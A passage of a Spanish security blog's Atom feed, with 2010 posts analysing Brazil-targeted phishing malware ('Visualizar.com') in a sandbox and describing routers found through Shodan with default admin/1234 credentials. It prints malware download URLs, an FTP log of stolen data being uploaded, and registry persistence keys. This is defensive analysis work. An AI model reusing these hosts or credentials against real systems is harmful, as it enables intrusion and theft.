José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-nrWEUQlmUk/THMCMUa0jdI/AAAAAAAAAIk/3qW_N0NXB3E/s72-c/Pantallazo-1_a.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-7251394200382927620</id><published>2010-08-04T23:32:00.001-03:00</published><updated>2010-08-04T23:42:58.541-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><title type='text'>Todo sigue igual...</title><content type='html'>Esta semana comencé la facultad de nuevo y junto con eso una pasantía en el centro de redes de otra universidad, todo esto implica una drástica disminución en mis tiempos libres xD.&lt;br /&gt;&lt;br /&gt;Hoy después de varios días volví a recibir un mail de mi "contacto", pero el punto esta vez es que... el mail tiene el mismo asunto que el de la entrada del 15 de julio (http://viviendolared.blogspot.com/2010/07/otro-mail-interesante-encontrado-o.html) y pienso... mierda!!! ni siquiera se molestan en innovar!!! El archivo se sigue llamando igual, aunque esta vez se encuentra alojado en http://bit.ly/ afgHin?0.05796 -&amp;gt; http://svelin.com/stats/fotos.com .&lt;br /&gt;&lt;br /&gt;Lo mas gracioso de este caso... es que el sitio en cuestión (svelin.com) corre el servicio Webalizer:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFob3GdDLDI/AAAAAAAAAGM/cmb2KiR4XSc/s1600/Pantallazo-1+%28copia%29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="460" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFob3GdDLDI/AAAAAAAAAGM/cmb2KiR4XSc/s640/Pantallazo-1+%28copia%29.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;Ven el punto roojo? xD, bueno, analicemos... a los 4 días del mes de agosto se superaron ampliamente las métricas diarias respecto al resto de los meses, inclusive se superaron algunas métricas mensuales!!! En los 4 días que van de agosto hubo el doble de visitas que en todo julio jajjaja, definitivamente como administrador del sitio esto me llamaría poderosamente la atención. Los administradores ya fueron debidamente avisados.&lt;br /&gt;&lt;br /&gt;Mirando un poco mas podemos hasta deducir la fecha en que se pudo haber perpetrado la intrusión:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/TFodPArR76I/AAAAAAAAAGU/TG-BEYM9zBY/s1600/Pantallazo-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="564" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/TFodPArR76I/AAAAAAAAAGU/TG-BEYM9zBY/s640/Pantallazo-2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Vemos que el día 3, las métricas revientan respecto a los otros dos días de agosto... claramente eso es un indicio de que comenzó a propagarse el enlace al malware que tienen hospedado...&lt;br /&gt;&lt;br /&gt;Otro, mirá quien está en segundo puesto de las url mas accedidas :P&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFod5kMBnLI/AAAAAAAAAGc/0rVy_cB1eHY/s1600/Pantallazo-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="122" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFod5kMBnLI/AAAAAAAAAGc/0rVy_cB1eHY/s400/Pantallazo-3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Esta siguiente me pareció MUY interesante, la mayoría de los referrers (páginas desde donde se accedió al enlace del malware) son webmails!!! &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/TFoeipDvXRI/AAAAAAAAAGk/z2wt84mcQh0/s1600/Pantallazo-4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/TFoeipDvXRI/AAAAAAAAAGk/z2wt84mcQh0/s640/Pantallazo-4.png" width="576" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Al menos sospechoso deberia ser, que un sitio aparentemente Checo tenga un gráfico así:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFogAhL1d_I/AAAAAAAAAG0/-nuyyx32b2w/s1600/Pantallazo-5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFogAhL1d_I/AAAAAAAAAG0/-nuyyx32b2w/s400/Pantallazo-5.png" width="367" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Tendrían que hacer una versión en portugues? NO!!!!! tienen que borrar el fotos.com!!! y denunciar una intrusión a principios de agosto seguramente, posiblemente el 3 cerca del medio día!!!&lt;br /&gt;Una vez mas queda claro el objetivo de este malware... BRASIL!!! el país sudamericano con mayores usuarios de internet y homebanking.&lt;br /&gt;&lt;br /&gt;Esta vez no voy a hacer mas análisis de fotos.com, ya que se comporta de la misma manera que los anteriores, inclusive sigue utilizando a www.avinnovo.com y otros hosts que ya fueron advertidos de que se encuentran hospedando malware.&lt;br /&gt;&lt;br /&gt;La pregunta es... ¿¿¿complicidad o ignorancia??? la respuesta es...&lt;br /&gt;&lt;br /&gt;Actualización... navegando un poco mas el sitio en cuestión se puede encontrar una PHPshell... no voy a poner el enlace por una cuestión obvia, pero evidentemente el sitio está MUY comprometido.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFolE3SwhYI/AAAAAAAAAHE/HA7gOLVlO7k/s1600/Pantallazo-6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="268" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFolE3SwhYI/AAAAAAAAAHE/HA7gOLVlO7k/s640/Pantallazo-6.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-7251394200382927620?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/7251394200382927620/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/08/todo-sigue-igual.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7251394200382927620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7251394200382927620'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/08/todo-sigue-igual.html' title='Todo sigue igual...'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_-nrWEUQlmUk/TFob3GdDLDI/AAAAAAAAAGM/cmb2KiR4XSc/s72-c/Pantallazo-1+%28copia%29.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-5810926565582803600</id><published>2010-07-29T04:56:00.000-03:00</published><updated>2010-07-29T04:56:00.287-03:00</updated><title type='text'>El eterno dilema de las configuraciones por defecto...</title><content type='html'>Las configuraciones por defecto/default son aquellas que se obtienen por el simple hecho de instalar o poner en funcionamiento un determinado producto. Es decir, es la configuración que el fabricante da a su producto antes de ponerlo en el mercado y por lo tanto la configuración inicial con la que se encuentra el cliente al utilizarlo. Esta medida adoptada por los fabricantes facilita, &lt;b&gt;entre otras cosas&lt;/b&gt;, la documentación y presentación de sus productos.&lt;br /&gt;Ahora... el problema radica en que estas configuraciones deberían ser reemplazadas por configuraciones específicas/personalizadas definidas por el usuario/cliente antes de que el producto sea puesto en funcionamiento.&lt;br /&gt;&lt;br /&gt;¿Por qué cambiarlas si anda bien así? mmm una buena pregunta, es tan lindo cuando todo funciona perfectamente (o al menos eso parece) que nadie quiere tocarlo. Pero... las configuraciones por defecto se encuentran en la documentación del producto... y la documentación del producto se puede encontrar en internet... entonces nuestra configuración se encuentra a disposición de todo ser vivo capaz de escribir www.google.com en su browser favorito.&lt;br /&gt;&lt;br /&gt;Hay cientos de sitios en internet (al alcance de www.google.com...) que se encargan, por ejemplo, de listar los user/password por defecto de aplicaciones y productos.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Hoy mientras probaba mi suscripción a http://www.shodanhq.com (un buscador... diferente) me encontré con una serie de dispositivos con contraseñas por defecto.&lt;br /&gt;Lo que realmente me llamó la atención fue ver esto:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/TFEij0XfXqI/AAAAAAAAAEk/a2IHzQpDSyk/s1600/log2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="266" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/TFEij0XfXqI/AAAAAAAAAEk/a2IHzQpDSyk/s640/log2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Correspondiente a algún lugar de Canada según MaxMind GeoIP&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TFEiiswz0wI/AAAAAAAAAEc/hdDvMtWeU5Y/s1600/log1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="272" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TFEiiswz0wI/AAAAAAAAAEc/hdDvMtWeU5Y/s640/log1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;Israel&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFEik5wdQ8I/AAAAAAAAAEs/zCWiLJni_Q0/s1600/log3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="270" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/TFEik5wdQ8I/AAAAAAAAAEs/zCWiLJni_Q0/s640/log3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Israel &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Los 3 hosts cuentan con routers de la misma marca (Edimax) y los 3 mantienen la configuración por defecto, pero lo gracioso está en cómo el fabricante:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Permite acceso http desde internet al router. &lt;/li&gt;&lt;li&gt;Presenta la tupla usuario/password por defecto de una forma tan explícita que realmente causa gracia &lt;b&gt;admin&lt;/b&gt;/&lt;b&gt;1234&lt;/b&gt;.&lt;/li&gt;&lt;/ul&gt;Pero la totalidad de la culpa recae sobre los clientes, que no se preocuparon por cambiar estos valores y exponen así (ingenuamente tal vez) información valiosa.&lt;br /&gt;&lt;br /&gt;Y así es como los incidentes pasan...&lt;br /&gt;&lt;br /&gt;En los 3 casos se accede como administrador a la configuración del router, desde donde podemos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ver las direcciones IP privadas asignadas (en uso en este momento).&lt;/li&gt;&lt;li&gt;Configuración del firewall, en uno de ellos se encuentra desactivado.&lt;/li&gt;&lt;li&gt;La información del cliente y el servicio de internet.&lt;/li&gt;&lt;li&gt;Se pueden ver/eliminar los logs.&lt;/li&gt;&lt;li&gt;Y un largo etc, que incluye todo lo que sea posible hacer en cuanto a modificación de la configuración del router xD, yendo desde cambios en la configuración wireless,LAN,WAN hasta cambiarle el firmware jajaja. &lt;/li&gt;&lt;/ul&gt;Si bien puede parecer algo estúpido, podrían realizarse cosas desde realmente molestas a jodidas.&lt;br /&gt;&lt;br /&gt;Moraleja... como dicen por ahí RFM (read the fucking manual) y no dejen las configuraciones por defecto :P.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-5810926565582803600?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/5810926565582803600/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/07/el-eterno-dilema-de-las-configuraciones.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/5810926565582803600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/5810926565582803600'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/07/el-eterno-dilema-de-las-configuraciones.html' title='El eterno dilema de las configuraciones por defecto...'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-nrWEUQlmUk/TFEij0XfXqI/AAAAAAAAAEk/a2IHzQpDSyk/s72-c/log2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-8376971442632822833</id><published>2010-07-23T22:50:00.001-03:00</published><updated>2010-07-24T00:15:53.999-03:00</updated><title type='text'>Otro: "Esse seu orkut e um fake? ou vc nem sabia que existia?‏"</title><content type='html'>Aca está la muestra de hoy, de nuevo Visualizar.com, esta vez queriendo engañar con un falso link a orkut (la mayor red social brasilera, si no me equivoco, y de google) http://www.orkut.com.br/Main#Profile?uid=7282100705742116-0.13350, que en realidad nos envía a http://ow.ly/2foDE?orkut.com.br/Main#Profile?uid=7282100705742116?0.13350 (si, otra vez ocultado la dirección tras ow.ly) desde donde descargamos otro Visualizar.com, hospedado en un servidor ruso verimgsua.h1.ru/visualizar.php .&lt;br /&gt;Esta vez hay un condimento extra a la usual descarga de imágenes y ejecutables que le siguen a la ejecución de visualizar.com y es una conexión a un servidor FTP. Los datos esta vez son subidos al servidor ftp de la siguiente manera:&lt;br /&gt;&lt;br /&gt;220 ftp.xpg.com.br.&lt;br /&gt;USER albumpng&lt;br /&gt;331 Password required for albumpng&lt;br /&gt;PASS &lt;br /&gt;230 User albumpng logged in&lt;br /&gt;TYPE I&lt;br /&gt;200 Type set to I&lt;br /&gt;SYST&lt;br /&gt;215 UNIX Type: L8&lt;br /&gt;PORT 192,168,206,153,19,137&lt;br /&gt;200 PORT command successful.&lt;br /&gt;LIST&lt;br /&gt;150 Opening BINARY mode data connection for file list&lt;br /&gt;226 Transfer complete&lt;br /&gt;CWD lista&lt;br /&gt;250 CWD command successful&lt;br /&gt;PORT 192,168,206,153,19,138&lt;br /&gt;200 PORT command successful.&lt;br /&gt;STOR JUAN-AA57CF7254 [22:07:04] .txt&lt;br /&gt;150 Opening BINARY mode data connection for JUAN-AA57CF7254 [22:07:04] .txt&lt;br /&gt;226 Transfer complete&lt;br /&gt;&lt;br /&gt;XPG resulta ser una empresa que brinda servicio de hosting gratuito... www.xpg.com.br.&lt;br /&gt;&lt;br /&gt;Eliminé el password por razones obvias... pero dentro del ftp existe un directorio llamado lista donde al momento de escribir esta entrada hay mas de 300 archivos de equipos infectados. Cada archivo además de la información del equipo, recolecta e-mails de los usuarios del equipo, muchos.. muchos correos electrónicos para spam definitivamente. &lt;br /&gt;Admito que mi portugues es muy malo, no logré encontrar en el sitio oficial de xpg un mail de contacto para avisarles de la situación, entonces...&lt;br /&gt;&lt;br /&gt;Espero que los chicos tengan backup... sino se van a enojar mucho conmigo...&lt;br /&gt;&lt;br /&gt;El reporte del día de hoy, corto pero conciso...&lt;br /&gt;&lt;br /&gt;Aprovecho para agregar algo nuevo, esta vez durante toda la prueba utlicé un software de monitoreo que se llama CaptureBAT, si bien es un tanto "poco amigable" ofrece buen información:&lt;br /&gt;&lt;br /&gt;Aca las dos claves del registro que hay que eliminar para que no se inicien los procesos maliciosos al arrancar la PC. A decir verdad, las claves de registro modificadas por Visualizar.com son demasiadas... a tal punto que el archivo de log pesa unos 1300Kb (de puro texto plano...)&lt;br /&gt;&lt;i&gt;juan@moon:~/Escritorio/test23julio/carpeta sin título$ cat salida_limpia.txt | grep Run&lt;/i&gt;&lt;br /&gt;&lt;i&gt;registry: SetValueKey C:\Arquivo de programas\mss.exe -&amp;gt; HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msgrmsn&lt;br /&gt;registry: SetValueKey C:\Arquivo de programas\satplg.exe -&amp;gt; HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Aca vemos como a medida que se completa la descarga de los ejecutables comienzan a lanzarse los nuevos procesos entre ellos.&lt;br /&gt;&lt;i&gt;juan@moon:~/Escritorio/test23julio/carpeta sin título$ cat salida_limpia.txt | grep "process: created"&lt;br /&gt;process: created C:\WINDOWS\explorer.exe -&amp;gt; C:\Documents and Settings\Administrador\Escritorio\Visualizar.com&lt;br /&gt;process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -&amp;gt; C:\Arquivo de programas\wink.exe&lt;br /&gt;process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -&amp;gt; C:\Arquivo de programas\mstim.exe&lt;br /&gt;process: created C:\Arquivo de programas\mstim.exe -&amp;gt; C:\WINDOWS\system32\dwwin.exe&lt;br /&gt;process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -&amp;gt; C:\Arquivo de programas\noix.exe&lt;br /&gt;process: created C:\Arquivo de programas\noix.exe -&amp;gt; C:\WINDOWS\system32\net.exe&lt;br /&gt;process: created C:\WINDOWS\system32\net.exe -&amp;gt; C:\WINDOWS\system32\net1.exe&lt;br /&gt;process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -&amp;gt; C:\Arquivo de programas\mss.exe&lt;br /&gt;process: created C:\Documents and Settings\Administrador\Escritorio\Visualizar.com -&amp;gt; C:\Arquivo de programas\satplg.exe&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-8376971442632822833?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/8376971442632822833/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/07/otro-esse-seu-orkut-e-um-fake-ou-vc-nem.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/8376971442632822833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/8376971442632822833'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/07/otro-esse-seu-orkut-e-um-fake-ou-vc-nem.html' title='Otro: &quot;Esse seu orkut e um fake? ou vc nem sabia que existia?‏&quot;'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-2560148312703818660</id><published>2010-07-19T16:56:00.000-03:00</published><updated>2010-07-19T16:56:38.910-03:00</updated><title type='text'>Se mantiene el MO: "Video porno caseiro de bruno e Eliza Samudio..Download!‏"</title><content type='html'>Descargando un poco la tensión de los exámenes... acabo a revisar mi mail para ver si me encontraba con algo interesante. Para "mi sorpresa", mi contacto preferida (la que me inspiró las ultimas 3 entradas) me envió un mail. Esta vez se trata de un supuesto video en:&lt;br /&gt;&lt;br /&gt;http://blogspot.com/video/Eliza_Samudio002.avi-0.41616&lt;br /&gt;&lt;br /&gt;que en realidad es un link a&lt;br /&gt;&lt;br /&gt;http://loopstkerh.h1.ru/visualizar.ph p?0.41616 (el espacio está incluido para romper el link)&lt;br /&gt;&lt;br /&gt;Desde allí nos descarga un archivo "Visualizar.com", sisi, nombre similar a uno de los archivos de las entradas anteriores. Análisis de virustotal.com: http://www.virustotal.com/es/analisis/05dd1784fd3971e92a40a906bec457bb347e437cc380dcc48f713eeaba053804-1279559435&lt;br /&gt;&lt;br /&gt;Probando nuestro nuevo archivo en un entorno aislado observamos:&lt;br /&gt;&lt;br /&gt;1-Descarga del sitio: http://www.verstkerh.h1.ru/ &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TESQyjYsVqI/AAAAAAAAAD0/2mpwGLeEAGo/s1600/Sin+nombre.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="231" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TESQyjYsVqI/AAAAAAAAAD0/2mpwGLeEAGo/s400/Sin+nombre.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;2-Una vez descargado comienza a hacer cosas interesante. Se conecta a una base de datos, aparentemente un sqlserver y nos presenta un login de messenger para meter nuestros datos (curiosamente en portugues...):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TESVpleMkcI/AAAAAAAAAD8/fUs2cFkmSBs/s1600/Pantallazo-XP+Professional_MultiFuncion+-+VMware+Player.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TESVpleMkcI/AAAAAAAAAD8/fUs2cFkmSBs/s400/Pantallazo-XP+Professional_MultiFuncion+-+VMware+Player.png" width="296" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Jamás utilicé SqlServer, pero claramente se tata de uno. Una vez establecida la conexión con el servidor de base de datos hace muchas consultas UPDATES subiendo mi información de infección y luego descarga una módica suma de mas de 1300 direcciones de email con sus respectivas contraseñas... a partir de ahora se conecta a los servidores de hotmail e intenta enviar correos.&lt;br /&gt;&lt;br /&gt;3-Ahora se me ocurrió probar qué hace realmente esta pantalla de menssenger, que no es mas que una imagen con dos campos para ingresar. Ingresé el siguiente mail: "alhoja@nada.com" y contraseña "asdasdasd", veamos:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TESe7yiv97I/AAAAAAAAAEE/pQTz68mmypU/s1600/imagen2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/TESfNiyP_EI/AAAAAAAAAEM/Nzcck-GZ7N0/s1600/imagen2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="76" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/TESfNiyP_EI/AAAAAAAAAEM/Nzcck-GZ7N0/s640/imagen2.PNG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Lo anterior es un fragmento de la conexión que se establece con el servidor de base de datos cuando ingresamos nuestro mail y contraseña. Se puede ver como se realiza un insert de nuestros datoss de la forma "INSERT INTO msnlst (contactos) VALUES (''alhoja@nada.com,asdasdasd");" que es exáctamente el formato en el que se descargó la lista de mails anteriormente. Luego de esto, la venta fraudulenta nos avisa que pusimos mal la contraseña y lanza ahora si, el proceso original msn messenger para que no surjan sospechas.&lt;br /&gt;&lt;br /&gt;Un proceso que queda corriendo es mstimer, que intenta obtener un login positivo para poder enviar mails desde la cuenta robada.&lt;br /&gt;&lt;br /&gt;Es MUCHA la cantidad de archivos descargados en los directorios de temporales. Algunos archivos son las keys para la conexión con las bases de datos (autofirmadas, claramente), muchas imágenes, cookies, etc. En el disco C se depositan los siguientes archivos:&lt;br /&gt;&lt;br /&gt;En arquivo de programas&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/TESnux9afII/AAAAAAAAAEU/w2ZoDl3_q2Q/s1600/imagen3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="233" 